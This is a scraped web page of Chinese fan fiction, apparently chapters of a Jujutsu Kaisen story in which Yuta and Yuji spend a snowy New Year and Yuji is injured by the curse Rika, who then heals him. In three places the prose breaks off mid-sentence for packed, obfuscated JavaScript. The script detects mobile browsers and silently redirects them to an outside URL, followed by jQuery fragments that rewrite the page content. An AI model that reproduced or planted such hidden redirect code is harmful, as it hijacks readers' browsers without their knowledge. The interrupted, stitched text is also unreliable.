l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378165|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“忧太,”视野中的身影消失的刹那,乙骨忧太从梦中惊醒,耳边还残留着祈本里香的声音,“要加油哦!”
“......我会加油的。”他喃喃自语,抬手的时候感受到了阻力,低头时看到了压住他胳膊的罪魁祸首。
不知道现在是几点,乙骨忧太轻轻将手从虎杖悠仁的怀里抽了出来,原本好好盖住全身的被子被踢到勉强搭在肚子上——虎杖悠仁的睡姿时好时坏,没有一觉醒来发现被子被完全踹到地上已经算是他很安静的时候了。
从窗户外打在地板上的阳光并没有靠近床脚,乙骨忧太坐起身看了一眼表,发现才过去了半个小时。
森林的模样和夏天似乎没什么区别,只是看起来消瘦了一些,估计要等到真正的冬天到来之后才会完全换上一副全新的面孔吧?
因为他们家是木地板,所以为了能够更舒服地躺进被炉里,他们特意铺了一层软垫在最下面。乙骨忧太觉得被炉里的温度蔓延至整个房间,让屋子里全都变得暖烘烘的了。
是非常令人感到舒适的温度。
桌子上的空水瓶里摆放的是虎杖悠仁从对面野地花丛里捡回来的花,基本上已经全都枯萎了。不论原来花瓣是什么颜色,在凋谢之后都会变成让人联想到腐烂的深棕,即便好好地修剪了根茎,剪去多余的花枝,及时换水,它们还是以难以想象地速度迅速垂下了头。
就在他们午睡的这短短几十分钟里,最后一朵花也掉到了桌子上。
乙骨忧太清理水瓶的声音叫醒了虎杖悠仁,他坐起来的时候还睡眼惺忪,不过很快就恢复了往日的活蹦乱跳。
尽管在那件事后一直避免去到河边,但虎杖悠仁还是期盼着冬天的时候河面能够冻得结实一点。他们不会去太深的地方,以前常去的那条小溪附近就不错,在冰面上滑行的时候会让他觉得自己能够飞翔,脱离大地与重力的桎梏,像吹过脸颊的寒冷的风一样。
他还可以偷偷自己在冰上凿出一个小洞来钓鱼,被厚实的冰层困在水下的鱼最喜欢聚集到这个换气口来了。
但是,忧太不喜欢鱼。
“没有哦。等到河面结冰了,我们可以去冰上玩。”乙骨忧太背对着他说道。他脚边的垃圾桶里伸出几根长长的花茎,根部被斜着修剪过,边缘呈现出浅黄色。
“但是应该不能让里香出来玩了,”黑发的孩子擦净手上的水,回身说道,“她太容易兴奋起来了,如果打破了冰面,我们真的会掉下去。”
仙台有很多人工冰场,不是在室外,而是在体育馆内人工浇筑而成,一整年随时都能进去玩。虎杖悠仁觉得那是和圣诞老人一样神奇的事,毕竟夏天怎么也会有水能够一直结冰呢?难道他们将很多台冰箱放在了水下来一直保持极低的温度吗?
直到现在他都没搞明白这件事。比起玩上一次很贵的室内冰场,附近的河流在冬天会有一段时间冻得很结实,那里就是孩子们的天然冰场。
因为必须确保冰面足够厚爷爷才会同意虎杖悠仁跑去河边玩,所以被允许走上河道的那几天也冷得惊人,哪怕将自己围成雪人一样也还是觉得会有调皮的冷风从各种衣服缝隙间钻进内衣里,冻得他打出一个又一个喷嚏。
滑起来的时候也觉得脸被冰凉的风刃刮出一道道口子,又冷又痛。
但虎杖悠仁还是很喜欢那种感觉。
在冰上的话,脚步不再沉重,没有人能够比他跑得更快。
得到了乙骨忧太的承诺,虎杖悠仁开始盼望着冬天赶快到来。每个月他都会在便利店店主外出进货的时候拜托他带上相片和信,因为不知道该如何联系妈妈,所以他只能慢慢学着写下信件。大多数时候只是简单的问候,最初的那一封信里他为自己不告而别感到抱歉,但自从发现并没有得到回信之后,他也就改为简单地说明那些钱用在了哪里。
他也不知道这样做的意义,但是每次将没写多少字的信随着相片一起寄出去后,他会觉得很安心,所以在乙骨忧太的鼓励下,这个习惯就这样坚持下来了。
宫司送给了他们一些过冬的衣物,里面有针织的帽子和围巾,杂货店店主帮他们疏通水管的时候拿过来了两双并指手套,厚厚的,夹层里面似乎塞了棉花,将手伸进去的话就不会担心被冻伤了。
“以后你们继承了神社,我还得指望着你们举办仪式帮我向神明许愿呢!”在店主爽朗的笑声中,虎杖悠仁觉得自己缩在手套里的手指有些僵硬和冰冷。
“那,不如平时也来神社参拜吧,”乙骨忧太的手隔着厚厚的手套握了上来,不似原先皮肤相贴时那样感觉分明,但微微用力的重量也让他能够感受到属于另一个人的存在,“说不定听得多了,神明才会回应呢。”
店主的笑声几乎要消失在说话时嘴边吐出的白气中:“哈哈!这是他教你们的吧?可别跟他学坏了,掉进钱眼里去喽!”
虎杖悠仁不知道该说些什么,只能沉默地看着店主从下山的坡道上逐渐走远,身影消失在地平线之下。
27. 第 27 章
山里的冬天比他们想象得更难熬。不单单是远比城市中更低的气温,还有这个家在冬天里爆发出来的诸多问题。院子里的水管几乎完全用不了,管道里的水结了冰,一整天也没办法化开。
连通着浴室的水龙头里流出来的水也冰冷刺骨,就算只将指尖放到水流下冲一小会儿也会觉得好像会被冻伤一样刺痛。
虎杖悠仁洗完澡在浴室里擦干身体的时候也会被过大的温差刺激得直打哆嗦。他们换了可以淋浴的花洒,加班加点工作的热水器提供了足够他们两个人冲澡的热水,但为了避免在密闭的浴室里被水蒸气憋得无法呼吸,他们不得不将浴室的门开着一条小缝,可这也导致外面的凉气会顺着小缝钻进来。
“要把头发好好擦干才行!”眼尖的乙骨忧太看到了虎杖悠仁粉色发尖上挂着的小水珠,立刻要求他赶紧到被炉里坐下。
“我自己擦不干啦......”说来奇怪,就算虎杖悠仁和乙骨忧太用同样的毛巾、同样的手法、同样的时间擦拭他自己的头发,总是乙骨忧太擦得更干一些。
已经减少了洗澡的频率,但每次在冬天进入浴室总是需要很大勇气的事情。
出来的时候也是。
虎杖悠仁几乎是扑到了被炉边,以乙骨忧太看不懂的姿势滚进了被子里,只露出一颗湿哒哒的脑袋在外面。
乙骨忧太拿来外套,将已经瘫在被炉里融化了的粉色小老虎拽了出来,任劳任怨地给他穿上外衣,自己拉过椅子坐在他身后,然后就会得到一具有点沉甸甸的、靠在腿上的热乎身体。
“悠仁每次出来都会把水甩得满地都是......你这根本就没擦吧?”
“因为想让忧太帮我擦嘛。”
所以变得越来越懒,这次干脆胡乱用毛巾蹭了两下就出来了。
让别人帮自己擦头发是会自动触发昏睡魔法的,就像童话故事里睡美人碰到的纺车一样,虎杖悠仁几乎每次都会歪着头睡过去,最后醒过来的时候他的头会被乙骨忧太夹在膝盖中间,感觉脑袋都被夹得前后拉长了。
“你帮我擦头发的时候也会睡过去诶。”乙骨忧太的语气中带着点不可思议,又仿佛接受了现实一般,只用调侃的语调戳穿了虎杖悠仁。
“那、那是因为碰到热腾腾的东西就会犯困!我喝完奶茶也会这样......”虎杖悠仁反驳的声音越来越小,不是因为不好意思,而是言出法随一般开始眼皮打架,引以为傲的入睡速度在任何时候都能发挥作用,几乎不到十秒他就开始困到点头了。
还好是我先洗的澡......乙骨忧太心想,又看了一眼挂在墙上的钟表。时间还早,待会儿再叫醒他吧。
如果是夏天就好了。意识在梦与现实之间摇晃的虎杖悠仁觉得自己天旋地转,像一只从小孩子手中逃逸的氢气球,隔着毛巾在脑袋上揉搓的双手力道很轻,因此也让他觉得自己好像被白花花的云朵包围了一样,浑身软绵绵的。
如果是夏天,他就可以对着电风扇吹风,或者躺在缘侧和走廊边缘,让夏夜的风带走头发上的水汽。
“悠仁?醒醒啦,要到时间了。”
那双手离开了他的头发,卡住他脑袋的双腿也松开,取而代之的是在他的脑袋向前倒下之前托住脸颊的手掌。
似乎是猜到自己一松开腿,虎杖悠仁就会像是个没骨头的棉花娃娃一样向前倒去,乙骨忧太早就知道他会搞这样一出,提前撑住了他还有点肉乎乎感觉的脸。
“别睡了,”乙骨忧太捏着他的脸,像是在揉捏一块手感很好的橡皮泥,“马上要到新年喽。”
这成功让虎杖悠仁清醒了一些,主动推开乙骨忧太的手,甩了甩脑袋。紧贴着头皮的发根还能感觉到微微的潮湿,但已经没有水分蒸发时带来的凉意了。
“谢谢你,忧太......”他一旦困到一定程度,说话就会变得黏黏糊糊,小时候更甚,至少现在能让别人听懂他在说些什么。让虎杖倭助来评价的话,他小时候简直就像是在吃糯米丸子一样,叽里咕噜地说着谁也听不懂的语言。
虽然被炉和早上的床一样对虎杖悠仁有着致命的吸引力,但他还是撑起精神从里面爬了出来。
乙骨忧太最近有的时候会发出一两声咳嗽,因为不算严重,也没有发烧嗓子疼之类的现象,所以并没有太过在意。吃掉家中剩下的感冒药之后也没什么用,依旧会感觉到喉咙里突然泛起难以忍受的痒意。
虎杖悠仁帮他一起将从神社里带回来的跨年荞麦面从饭盒里盛出来。
今天是2006年的最后一天,说不上是失望还是已经可以平淡地接受了,虎杖悠仁发现这个村子里的人根本不在乎跨年的时候没有再说其他的话。神社倒是有跨年守岁的活动,但他们更想回家自己守岁。
下午的时候宫司带着神社的大家一起做了跨年荞麦面,只用了一些素菜和野菇熬汤底,有巫女偷偷塞给他们一些天妇罗和鲑鱼子,在盖上饭盒之前还往里面洒了不少海苔碎。不过等到他们现在将荞麦面盛出来的时候,那些海苔碎都已经被泡得看不出来了。
咬断荞麦面,就代表着与过去的一年告别。
虎杖悠仁还记得去年这个时候他和爷爷坐在电视机前看红白歌会,窗外是漫天绽放的烟花,将夜空装饰得超级漂亮。虽然有些吵闹,直到深夜还能听见一两声烟火蹿上天的声音,但那是虎杖悠仁除了过生日之外为数不多对“时间”有明显认知的时候。
跨年荞麦面的味道淡淡的,没什么特别的滋味,量也不大,不过它本来就不为填饱肚子。在指针转动发出“咔哒”声,指针终于重叠在一起的时候,虎杖悠仁刚刚好吞下最后一口。
“新年快乐!忧太!”
“新年快乐呀!”
他们几乎异口同声地说道,然后相视一笑。
“里香也是,新年快乐!”虎杖悠仁对着从影子里冒出头来的白色咒灵说道,但是它显然对挂在床头的玩偶更感兴趣,用尖尖的指甲拨弄着棉花做成的小东西。
“她最近变得比以前更能控制自己了诶,”乙骨忧太开心地说,“也很少弄坏家具了。”
虎杖悠仁猛地点头表示同意。
就像里香现在虽然正在玩着与自己体型相差悬殊的玩偶,但却能很好地控制手上的力道,不会将美美子送给他们的礼物扯坏。
这样的话,虎杖悠仁就想要许下一个新的新年愿望。他期待着以后里香可以恢复自己的神志,亲口告诉他们自己未完成的遗憾。
第二天醒来的时候,整个世界都变成了灰白色。虎杖悠仁缩在被子里,贪恋着狭小空间内的温暖,连下巴都不想伸出来。
“......下雪了?”乙骨忧太翻身看向窗外,不小心将被子掀开了一些,引来虎杖悠仁不满的嘟囔。
下雪的时候,空气中会有一种特别的味道。和雨水类似,不同于寻常的寒冷,而是一种直冲鼻腔的新鲜味道。
鹅毛大小的雪片从窗前滑过,速度极快地坠向大地。
天空和地面的颜色变得一模一样,分不清彼此,阴暗的氛围深受一些人的喜爱,这样的天气正适合躲在家里,喝上一杯热腾腾的奶茶,看电视机里播放着的自己最喜欢的节目打发时间。
“雪下得好大。”在乙骨忧太的记忆里,仙台的冬天从来没下过这么大的雪,就算有雪花飘落也只是在柏油路上铺了浅浅一层,如果出门晚的话就只能在路边的角落里找到一些被清扫堆积在一起的雪堆,它们很快也会化作一滩雪水流入下水道。
虎杖悠仁终于想起院子里的菜地:“不好啦!我们的棚子会不会被压塌?!”
他猛地弹了起来,讨厌的冷空气也无法阻拦他想要出门的决心,这下换成乙骨忧太被冻得一激灵:“先把衣服穿好啊......”
虎杖悠仁被压着将秋衣、毛衣、外套、围巾一层层地套好,裹得严严实实后,戴好手套拉开门,发出了一声长长地喟叹:“哇——忧太!雪超级厚的啊!我们可以堆雪人玩了!肯定能堆得超级大!”
积雪几乎要将门口的台阶全部埋进去,虎杖悠仁多套了两双袜子,换上了雨鞋。
“好冷啊,”脚面一下子就消失了,他发出一声惊呼,“不行不行,还是要穿靴子才行!”
乙骨忧太把自己裹成一团,靠着虎杖悠仁向外看:“好多的积雪!我还以为用不到靴子的来着......那我们只能今天出门的时候去杂货店问问有没有了。”
只是在门口待了一小会儿,他的鼻尖就被冻红了,吸着鼻子说道:“等雪小一些再去看看吧......悠仁身上真的好暖和啊。”
雪片密密麻麻地不停下落,好在现在还没有刮风,饶是如此这样密集的雪花也让人觉得无法呼吸。
收回脚的虎杖悠仁哈哈笑了两声,颇为自得地说:“所以忧太觉得冷得时候就来牵我的手吧,很暖和的!”
真是让人羡慕的体温......乙骨忧太关上了门,虎杖悠仁已经跑到窗户边上探头探脑,想要找个角度看看菜地棚子的情况。
“看起来还能坚持呢,不过塑料膜上已经全是雪了。”
虎杖悠仁看到了凸起的弧度,这是个好消息。
新年的第一场雪比他们预想的要大得多,几乎下了一整个上午。家里还有一些面包和零食,中午他们简单在家吃了一些,等到午后时分雪停,两人马不停蹄地开始清理院子里的积雪。
借助里香的力量,他们拿到了放在院子杂物堆旁边的雪铲,但在刚刚开始清理台阶周围时他们发现了不小的问题。落在上层的雪是粉末状的,没有压实,很蓬松,能够轻易被方形的雪铲推离原地,然而更下层的雪已经开始结冰,表面凹凸不平像是颗粒一样,如果用力强行清理的话总感觉雪铲会被戳断。
“没办法,感觉杆子会断掉,”虎杖悠仁感受着脚下光滑的地面,向乙骨忧太摇了摇头,“不过这样的感觉就像是在滑冰一样!”
似乎只有靠近房屋的一圈才有这样结冰的现象,院子里大部分的雪都能够被轻松推走。被推走的雪几乎都变得脏兮兮的,因为混入了院子地表的浮土,如果用这些脏脏的雪来堆雪人的话感觉不太干净,所以在乙骨忧太的提议下,他们特意留出了一小块地面没有清理。
太阳没有出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378166|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,依旧躲在厚厚的云层之上。
他们裸露在外面的皮肤被冻得微微发红,尤其是脸颊上方的那块区域,看起来就像是刚刚哭过一样,衬托得眼睛更加亮晶晶、湿漉漉的。
“忧太,”虎杖悠仁每次张嘴都会有白色的哈气飘出来,让面前的视野模糊了一瞬又一瞬,“我能躺上去吗?”
“雪里吗?”
虎杖悠仁没有管他的疑问,而是直接拉着乙骨忧太向那一小块干干净净、什么痕迹都没有的雪面上倒了下去。
乙骨忧太的惊呼被卡在了喉咙里,他看着越来越近的雪面,感受到新雪的气息扑面而来。
蓬松的雪缓冲了他们摔倒的冲击,虎杖悠仁仰面朝上躺在雪里,能够听到身下的积雪被挤压时发出的咯吱声。
这感觉真的很棒!
从这样的角度看去,连灰色的乌云都变得遥远起来,他仿佛处在了离天空最远的地方。只有隔着最远的距离才能真正理解它的辽阔吧。
他敞开胸腔,深深地吸了一口气,结果被冷空气刺激得咳嗽了两下,转头去看乙骨忧太。
“呜哇?!忧太?!你还活着吗?!”
他手忙脚乱地坐起身,将正面向下、整张脸都埋入雪里的黑发孩子拉了起来。他完全没注意到乙骨忧太居然是这样倒下的!
乙骨忧太眨着眼睛,倒下去的时候他也想过干脆转个身,但脸部的皮肤一接触到雪面,他突发奇想地没有动弹。干脆就这样将脸埋进雪里去吧!
“睫毛上都沾上了雪诶......鼻子好红!”虎杖悠仁看着被拉起来的乙骨忧太,噗嗤一下没忍住直接笑了出来。
乙骨忧太的头发、眉毛、睫毛之类的地方全都沾上了雪片,虎杖悠仁的心中闪过那些根根分明的黑色毛发将白色的雪片刺穿,像是串在竹签上的章鱼小丸子一样被举起来的幻想。
虽然乙骨忧太总说自己的体温很低,但相比之下还是足够令粘在身上的雪粒极快地化成冰凉的水珠,所以几乎是眨眼之间,毛发上的雪就消失得一干二净。
他们堆了三个歪歪扭扭的雪人,没有脖子,甚至连上下半身的分界都不太清晰。
“但是,一眼就能看出这是我们三个!”虎杖悠仁指了指三个雪人。
一个有着圆圆的眼睛,一个下巴上有一颗小痣,还有一个稍微矮一些,虎杖悠仁为它画上了大大的笑脸。
乙骨忧太被他们的杰作逗笑了,突然想起应该用相机将这些记录下来,于是转身向屋子里走去。
从他进门到拿着相机回到院子里,一共用了不到两分钟的时间。
“......悠仁?”
三个歪着脑袋的雪人沉默地看着他,院子里再没有其他人回应他的呼唤。
“悠仁?!”
乙骨忧太的声音掉在了空旷无人的雪地中,白茫茫的雪片接住了它们。
比恐慌更先被察觉到的是留在雪地上的脚印。院门被人推开了一条缝,土路上未被清理过的新雪里留下了一行脚印,乙骨忧太只看了一眼就能想象到粉发孩子向山上的奔跑的景象。他迅速绕过院门,在地上留下了第二行并行的脚印。
这片森林像一片无声的沼泽,不会主动捕食,却足够危险。它等待着自己的猎物心甘情愿地送上门来。
积雪停留在树顶,代替夏天的枝叶投射出通向未知的阴影。乙骨忧太刚刚踏入林间的雪地,里香就迫不及待地闯了出来。它愤怒地咆哮着,向乙骨忧太示意前方有什么值得警惕的、危险的东西。
虎杖悠仁并没有深入森林太远,他孤身站立在树影间,背对着乙骨忧太。
里香发出一声尖啸,身上的外壳错位似的鼓动着,难以掌控的力量正在其中游走,濒临失控。
虎杖悠仁当然听到了身后传来的声音,但比起里香和乙骨忧太,他更无法将目光从眼前的这道身影上挪开。
“中美?”
女孩还是山王祭那天离开神社时那副样子,不过下摆的衣服已经被撕扯成了条条缕缕的模样,露出红色的内衬。代表圣洁无垢的无纹白衣沾上了泥土,浅黄色的泥水从泥点附近蔓延开来。
他们隔着十多米的距离,谁也没有向对方靠近。
乙骨忧太一把将虎杖悠仁扯到自己身边,压低眉头,咬着牙望向“死而复生”的中美。
虎杖悠仁觉得里香的体型似乎比平时大了不止一圈,它在暴躁地碾压着地面上的积雪,手掌直接摁碎了林间的石块与倒下的断木,不停地发出各种低吼。
粉发的孩子怀里抱着的猫瘦骨嶙峋,在惊慌中跳出了他的臂弯,三两下钻入林间消失不见了。虎杖悠仁没有再去找它,而是盯着明显不太正常的中美。
“你还、活着?”
这不可能。直到必须自己照顾自己的时候,虎杖悠仁才明白爷爷在他长大的过程中付出了多少心思。没有食物、没有保暖的衣物,一个孩子怎么可能独自在森林里生活几个月?
那绝不是活人,乙骨忧太在看见她的第一眼就明白了这一点,脚步微微后退。
那是尸体,或者......某些类似的东西。
28. 第 28 章
乙骨忧太举起相机。
他的眼前空无一物,林间雪影中只有他们两人。
“呼哈......”他的呼吸一窒,随即逐渐加快了速度。虎杖悠仁自然敏锐地察觉到了他的变化,也从中读懂了他没有说出口的事实。
“不要到森林外面来......不管你是什么东西,不要再用她的样子出现了!”虎杖悠仁生气地吼道。
一些咒灵不会伤害人类。它们喜欢贴在人类的身边,就算询问接触到的地方有什么异样,得到的回答也会是“稍微有些酸痛,大概是太过劳累”之类不痛不痒的回答。
乙骨忧太这时才察觉到自己的后背已经被冷汗浸湿,他不知道该怎么办,是就这样掉头离开,还是让里香将它消灭?况且,如果那不是普通的咒灵,而是像里香一样未能完成心愿的灵魂......他从未想过里香会有成佛以外的未来,要是有一天他碰到了无法保护住悠仁、无法保护住里香的情况......
这里离他们家太近了。
“......里香!”
乙骨忧太握紧了拳头,听到他低声呢喃的虎杖悠仁也转头死死盯住了“中美”。
就在乙骨忧太下定决心要守护自己的家后,伪装成女孩模样的咒灵突然转身逃走了。它像是被人操纵着的木人偶,关节僵硬,跑起来的姿态呈现出一种诡异的平衡,数次几欲跌倒可都奇异地稳住了脚步。
两个孩子注视着这场狼狈的逃亡,直到那个咒灵的身影彻底消失在森林的更深处。
不,那个方向并非通向森林的深处,更像是沿着森林的边缘绕向了山的另一侧。
虎杖悠仁张开嘴巴呼吸着,任由重重白色的哈气将自己围绕起来。鼻腔已经被冷空气摩擦得发麻,冰凉的气息让牙缝也有了冷飕飕的感觉。
“不、不许——讨厌!里香讨厌这里!!!有讨厌的东西——”身后的白色咒灵说出了完整而清晰的话,粉发的孩子刚想为它的变化而感到开心,却在夸奖的话语脱口之前感觉到了来自身侧的狂风。
被击中的瞬间是麻木的,强烈的失重感席卷了全身,让虎杖悠仁想起在无人的公园肆无忌惮地将秋千荡到近乎水平的高度再落下时的感觉。
世界天旋地转,视野模糊成了一片,色彩、形状、声音全都搅成一团,直到停下来时他的大脑依旧没有反应过来究竟发生了什么事。
“诶?我、咳咳、啊?”
胸口好像被什么东西压住了,嗓子痒痒的,就连单纯地呼吸时都会爆发出痒意,连带着整个胸腔都在一同震动,只能连声咳嗽。
似乎有雪灌到了耳朵里,不然他为什么连自己的声音都听不清楚了?
虎杖悠仁缓了一会儿,在尖锐的耳鸣中感觉到脑门微微发热,懵懵的大脑终于开始重新运转。他发现自己似乎正躺在什么地方,脖子向后扬起,眼前是无数直插天际的枯木。那感觉就像是睡着的时候将头伸出了床沿,醒来后就会有这种大脑充血、太阳穴突突直跳的感觉。
脸上又热又凉,似乎还有水顺着脸颊淌下。
虎杖悠仁眨眨眼睛。是口水?他不小心睡到流口水了吗?
视线在抖动。不,是整个世界都在震动。
“忧、咳咳、咳咳......”
回过神来的身体发出沉重的呜咽,疼痛从胸口处开始蔓延,像蜘蛛结网一样爬满了全身。当黑色填满视野的时候,虎杖悠仁看见了快要崩溃着哭泣的乙骨忧太。
他想和乙骨忧太说飞起来的感觉真的很好来着,但终究还是没有力气支撑自己张开嘴,就这样失去了意识。
“——为什么?为什么?!!那是悠仁啊?!!里香——!!!”
乙骨忧太发疯一般看着那孩子的琥珀双眸彻底失去了颜色,明亮的眼白被从口鼻处淌下的鲜血染得通红......仿佛那日噩梦的再现。
小溪似的蜿蜒至脚边的鲜血、在血中反光的戒指、不论如何回忆都是血红色的夕阳和云朵......虎杖悠仁被突然暴起的里香打飞了出去,落在了很远、很远的地方。乙骨忧太觉得自己跑了很久才来到他的身边,踉跄着想要爬上那棵横亘在雪地中的粗壮枯木,手脚却不知是因为寒冷还是恐惧而变得僵硬,怎么都不听使唤。
“悠仁......悠仁......?”
他拼命伸直双手才能勉强触碰到柔软垂落的粉色发丝。
一滴、两滴。
温热的血点滴落在他扬起的脸上,让那双黑色的眼睛霎时爬满了血丝。
他一次又一次呼吸着,可无论他怎么努力都好似够不到那具躺在枯树干上的小小身体,肺也在这样频繁的吐息中被彻底抽干了。视野因为缺氧而变得狭窄,乙骨忧太觉得被乌云遮住的阳光竟然也变得刺眼了起来。
在近乎绝望的窒息中,有什么东西提起了他毫无知觉的身体,将他放到了虎杖悠仁的身边。
“......”
“......!”
“......、......!”
造成这场意外的白色咒灵在哭泣着。它肯定在说着什么,只是乙骨忧太完全听不到了而已。他注视着眼前被血沾满的脸庞,无助地诅咒着无用的自己。
“死......你可不能死啊,不能......”
不能死。不能死不能死、不能死不能死不能死不能死不能——
他瞪大双眼,一眨也不眨,脆弱的眼球被冰冷的空气刺激到流出了生理性的泪水也不肯闭上眼睛。
一根手指轻轻点在了他的嘴巴上。
“嘘。”
祈本里香蹲坐在他的身前,这一次,乙骨忧太清晰地看见了她的双眼。女孩笑得很幸福,就像他们一起在公园、河道、草地上玩耍时那样,眉眼弯弯。
“不能再那样说了,忧太。你不是答应过我了吗?要加油哦!”
“......里、香?”
乙骨忧太将虎杖悠仁抱入怀里,失去意识的身体比平日里还要重一些,但他似乎已经找到了“诀窍”。
“里香,”无光的黑色眼瞳在发丝后注视着白色的咒灵,乙骨忧太开口道,“救救他。”
虎杖悠仁说,在乙骨忧太因为感冒高烧到醒不过来的时候,里香曾经用过一种“神奇的魔法”。
如果里香能够治愈疾病,那么肯定也能治愈他的伤。
乙骨忧太第一次亲眼见到了那些无处不在的“力量”。白色咒灵的双手轻轻贴在虎杖悠仁的身体上,巨大的手掌像被子一样将他整个人都盖住了。一股无形的力量从它的手里涌出,在乙骨忧太的注视下流入了虎杖悠仁的身体。
仿佛被施加了“能够看穿魔法”的魔法,乙骨忧太发现这个世界开始变得有些不同。怀里的孩子呼吸重新变得平稳,脸颊也渐渐恢复了血色,如果抹去那些碍眼的血迹,简直就和睡着了的时候没什么两样。
虎杖悠仁的身上也有那些力量的痕迹。他们刚才经过的所有地方、“中美”离开的方向,乃至于他自己的身上都有。
乙骨忧太将虎杖悠仁的身体撑起,让他的下巴搭在肩膀上。还没有恢复意识的虎杖悠仁脑袋一歪,他们的脸颊贴在了一起。
令人感到安心的温暖和柔软。
乙骨忧太重新开始呼吸,在那一刻他仿佛觉得自己得到了重生,与失而复得无异的喜悦和满足感油然而生。他微微抬起头,连挥之不去的阴云都变得顺眼了许多。
“忧太、忧太......”里香凑到了他的身边,仍在源源不断地将那股力量传递到虎杖悠仁的身体里。
听到它用仅有的语言能力不断诉说着抱歉,乙骨忧太深吸一口气:“不是你的错,里香。是我......这个森林里......”
停止落泪的白色咒灵和他一起转头看向了山顶的方向。那里既是最高处,也是森林的最深处。
这个森林里有什么东西。
就在刚刚,它像是心脏一样跳动了一次。
让那个伪装成中美的家伙落荒而逃,让乙骨忧太也受到影响,无法控制暴走的里香。
“......”乙骨忧太抱紧怀中的人,狠狠抿唇。
虎杖悠仁觉得自己做了一场美梦,因为他见到了爷爷。
虎杖倭助是个嘴巴很毒、脾气很大、偶尔还会挥舞着拳头凶凶地威胁人的小老头。他在年轻时肯定长得很高,只是时间和岁月侵蚀了他的骨头,不过这些东西却没能磨灭他的脾气。虎杖悠仁常常想,难道人一旦变老就会同样变得口是心非吗?
爷爷的身上总有一股急切的味道,仿佛有什么东西追在他的身后,却又不那么致命。就像没有彻底长好的伤疤,让人在揭与不揭之间犹豫。
“这里是天国吗?爷爷,你有成佛吗?那不就是说......我也随随便便地死掉了吗?!”因为周围白茫茫的,一片朦胧,虎杖悠仁觉得这里确实圣洁到被称作天国也不为过。
原来自己不是想要睡觉,而是直接永远地离开了那个世界吗?粉色的小脑袋想到这里的时候,他的第一反应居然是乙骨忧太和里香要怎么办。如果爷爷是来带自己去往天国的话——他觉得自己应该还不至于会下地狱......虽然的确做过一些“坏事”——他还想在离开前最后去看一眼他的家人们。
变成轻飘飘的幽灵,如果能够通过灵异现象和乙骨忧太说了“拜拜”的话,虎杖悠仁觉得自己应该没有其他的遗憾了。同为幽灵,他是不是能够看见祈本里香的灵魂了?
爷爷的“制裁”落在了他的头上,一如既往地毫不留情,虎杖悠仁觉得那里肯定会鼓起一个大包:“臭小子,想什么呢?!”
“好痛!”
既然是幽灵,为什么爷爷的拳头不能从他的头上穿过去?!这不公平!
“爷爷就是因为脾气太臭,护士站的姐姐们才会不喜欢你啊!”
“胡说八道!她们跟你说什么了?!”
爷孙两人像极了,连生气吵架时候的姿态都一模一样。虎杖悠仁只是想说些气话,其实护士站的护士们都很乐意帮他多照顾一下那个口是心非的小老头。他恍然间意识到,明明自己不太喜欢爷爷的口是心非,但自己却在不知不觉间将这一点完完整整地学了过来。
这样可不行啊,即便内心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378167|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并没有伤害他人的想法,但口舌上淬了毒,归根到底还是造成了伤害。
虎杖倭助叹了口气,不准备继续将时间浪费在吵架上。这孩子还太小了,老人想了很久很久,终究没有将诅咒的话说出口。看看这具小小的身体,长高了一些,脸上的肉也褪去一点,看起来被照顾得还不错,可总归还是一具属于小孩子的身体。
“悠仁,你要......”
他绝没办法将沉重的诅咒过早地施加在这孩子身上。罢了,如果命运注定要将这孩子推向布满荆棘的道路,那虎杖倭助只能祈求虎杖悠仁拥有足够强大的内心、能够遇见志同道合的朋友、能够拥有抽身而出的勇气。
那些未曾说出口的话......在他闭上眼睛的那一刻就彻底跟着他一起离开了。
更何况,死人和幻觉无异,如何能真正地进入生者的梦乡?
虎杖悠仁醒过来的时候,乙骨忧太正在替他抹掉从眼角流下的泪水。看清那个轮廓之后,虎杖悠仁第一反应是抬手蹭了蹭自己的嘴角,擦去不存在的口水。
“我睡着了?现在是什么时候?”
他的记忆停留在独自留在院子里时发现了一只哀叫着跑向森林的猫。鬼使神差地,他追了上去。
“猫......它跑掉啦,”乙骨忧太在他的胸口处轻轻按了按,小心翼翼地问,“悠仁的胸口还疼吗?”
“胸口?为什么会胸口痛?没有哦,我现在超级健康!”
虎杖悠仁从床上跳了下去,摆出了超人的姿势跳了两下向乙骨忧太展示自己现在精力满满。
他不记得森林里的事了......乙骨忧太又揉了揉他的脑袋:“头呢?”
“没有啦,哪里都不痛。不过忧太,我在院子里睡着了吗?”虎杖悠仁清楚地知道在见到那只猫之后到自己从床上醒来的这段时间里他丢掉了什么。不是那场梦境,而是别的什么。
清晰而明确的“无”,就像一本连续的故事书被撕掉了其中一页,断掉的故事无法让人轻易忽视。
乙骨忧太听懂了他的语气,敏锐地理解到这时的虎杖悠仁需要一个认真的解释。他尽可能地帮助虎杖悠仁回忆自己缺失的那段记忆,但是粉发的孩子在听完之后只是皱着眉头困扰地看着他,很久都没有说话。
“还是想不起来吗?”
虎杖悠仁双手抱臂,搓着下巴:“不行呐,完全不行!那种感觉、那种感觉就像蛋糕被吃掉了一块,明明能够通过周围的花纹猜到缺失的那一块究竟长什么样子,但脑袋里就是想象不出来蛋糕的模样!”
